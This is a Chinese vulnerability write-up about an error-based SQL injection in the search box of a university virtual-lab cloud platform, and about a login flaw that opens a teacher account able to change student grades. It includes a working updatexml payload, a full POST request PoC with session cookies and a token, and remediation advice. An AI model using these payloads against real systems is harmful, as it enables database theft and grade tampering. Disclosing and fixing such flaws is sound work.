漏洞实战|高校虚拟实验平台报错型 SQL 注入漏洞复现

前言

SQL 注入是 Web 安全中经典高危漏洞,很多业务系统因未对用户输入做严格过滤,直接拼接 SQL 语句执行查询,从而产生注入风险。本次测试目标为数字化柔性制造产线云平台(高校虚拟实验平台),平台实验列表搜索功能存在报错型 SQL 注入,同时登录模块存在异常身份绕过现象,可直接进入教师账号,查看教师信息、对学生实验成绩进行评分。本文完整记录漏洞发现与复现全过程。

漏洞 / 测试基础信息

项目 详情
漏洞类型 报错型 SQL 注入(高危)
资产环境 互联网公网高校虚拟实验平台
测试入口 实验列表搜索框;专家评审登录入口
漏洞现象 搜索框输入单引号触发 MySQL 数据库报错,可使用updatexml报错注入提取数据库信息;登录入口异常直接登录教师账号,可查看其他老师信息、给学生实验成绩评分
漏洞原理 后端直接将用户可控的搜索参数拼接进 SQL 查询语句,未做输入过滤与预编译处理,恶意 SQL 片段被数据库执行,返回报错信息泄露数据库内容

漏洞思路梳理

  1. 业务场景:高校虚拟实验云平台,包含登录、教师评审、实验列表搜索、学生成绩评分等功能。
  2. 初步现象:访问专家评审登录位置,无需正常登录逻辑直接进入王老师账号,可以查看其他教师信息,还可以对其他同学实验成绩进行评分。
  3. 注入猜想:找到实验列表搜索功能,搜索框接收用户输入参数,参数大概率直接拼接 SQL。
  4. 验证思路:输入单引号'观察页面是否抛出数据库 SQL 语法报错;双单引号测试是否闭合;使用updatexml报错注入 Payload 尝试回显数据库信息。
  5. 结果:页面返回 MySQL 报错,成功利用报错注入获取数据库用户信息,确认 SQL 注入漏洞。

实操 / 测试流程

测试前置:访问数字化柔性制造产线云平台站点。

进入虚拟实验平台,点击专家评审进行登录,直接登录到王老师的账号,这里可以查看其他老师信息,可以对其他同学的实验成绩进行评分。

找到实验列表页面,在搜索处输入单引号'。

页面直接抛出 MySQL 数据库语法错误,返回 SQLSTATE 报错堆栈,确认存在 SQL 语法漏洞。

在搜索框输入两个单引号'',页面回显正常,判断单引号为 SQL 语句的闭合符号。

打开 Burp Suite 抓包,抓取搜索提交的 POST 请求。

使用报错注入 Payload:name=')and+updatexml(1,concat(0x7e,user(),0x7e),1)=('1构造 POST 请求数据包。

将构造好的数据包发送服务端,页面返回 XPATH 报错,回显数据库用户信息,成功爆出数据库相关内容,漏洞验证完成。

完整请求 POC:

复制代码
POST /index/alllab/index.html HTTP/1.1
Host: net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer:http://xxx/index/allab/index.html?name=%E2%80%99
Cookie: PHPSESSID=q6jt168dgg0v7fgl0ml2tto0e5; uid=836; token=76655cf0-2cc1-4625-9f56-9b4ae2428b82; think_var-zh-cn
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 192.168.188.123
Priority: u=0,i
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

name=')and+updatexml(1,concat(0x7e,user(),0x7e),1)=('1

漏洞总结

核心问题

  1. SQL 注入问题 :实验列表搜索功能,直接把前端传入的name搜索参数拼接进 SQL 查询语句,没有使用预编译,没有过滤特殊符号,攻击者可以构造恶意 SQL 语句,利用报错注入读取数据库数据。
  2. 身份认证缺陷:专家评审登录模块认证逻辑异常,未校验账号密码,直接进入教师权限账号,越权查看教师信息、操作学生实验成绩。

漏洞危害

  1. 攻击者利用 SQL 注入可读取全部数据库数据,包含账号密码、学生实验信息、教师信息等敏感数据,高危情况下可脱库。
  2. 身份绕过后,普通访问者可直接获取教师权限,随意修改学生实验评分,破坏教学业务数据。
  3. 高校教学平台数据泄露,会造成师生个人信息泄露,带来隐私、合规风险。

修复建议

  1. SQL 注入修复(优先)
    • 全部 SQL 查询使用预编译 + 参数化查询,杜绝直接拼接用户输入到 SQL 语句。
    • 对前端输入做白名单过滤,严格限制输入字符;禁止直接把用户输入当作 SQL 片段执行。
    • 关闭生产环境详细数据库报错输出,不要把 SQL 堆栈、数据库错误直接返回给前端页面。
  2. 身份认证修复
    • 修复专家评审登录逻辑,登录必须校验账号、密码凭证,禁止无凭证直接赋予教师会话权限。
    • 后端接口增加权限校验,教师评分接口必须校验当前登录用户身份,防止越权修改学生成绩。
  3. 安全加固:部署 WAF,对 SQL 注入特征做拦截;定期做安全渗透测试;数据库账号做最小权限分配。
  4. 日志审计:记录登录行为、搜索请求、成绩修改操作,异常行为可溯源排查。

测试心得

  1. SQL 注入基础测试技巧:搜索框、查询接口优先输入单引号',观察页面是否抛出数据库报错,快速判断是否存在注入点。
  2. 报错注入适用场景:页面会返回数据库错误堆栈,无法直接回显查询结果 ,常用updatexml、extractvalue函数。
  3. 高校业务系统经常同时出现注入 + 越权组合漏洞,测试时不要只盯着单一漏洞,需要联动观察业务权限。
  4. 开发切记:永远不要信任前端传入的任何用户可控参数。

安全声明

⚠️本文内容仅为网络安全学习、渗透测试技术研究交流。严禁在未获得书面授权情况下对互联网资产进行扫描、漏洞测试、注入攻击等行为,未经授权的测试属于违法违规行为。所有测试操作,务必在自己拥有完整授权的测试环境开展。

相关推荐
Dream Cosmos23 分钟前
传输层协议之UDP
网络·网络协议·udp
新*2 小时前
Elasticsearch 7.17 的 SQL 到底能查到什么?一次踩坑记录
后端·sql·elasticsearch·查询
Yuzhiyuxia3 小时前
【AI Agent面试系列】AI Agent可观测、评测、安全相关的知识点
人工智能·安全·面试
鸿蒙开发爱好者4 小时前
下班后做的小工具和小游戏,我把它们整理成了 WyanHub
网络·人工智能·职场和发展·个人开发
乐橙开放平台4 小时前
海康和大华摄像头能统一管理吗?可以通过 GB28181 或视频融合平台接入
网络·后端·物联网·音视频
张小姐的猫6 小时前
【基于 WebSocket 的多用户网页五子棋】—— 项目结构设计与实用工具类模块
网络·websocket·网络协议
QXWZ_IA6 小时前
测绘单位采购RTK:设备价格、账号年费、售后,用时间轴分权重
网络·人工智能·安全
IT大白鼠8 小时前
GitLab 未认证 RCE 应急实战CVE-2026-97229(CVSS 10.0)
网络·安全·gitlab
陈希1238 小时前
Linux 网络诊断工具实战:ping、curl、tcpdump、mtr、dig 用法详解
linux·网络·tcpdump
进击的荆棘8 小时前
Linux系统——线程同步与互斥之线程池和安全
linux·运维·服务器·安全·单例模式·线程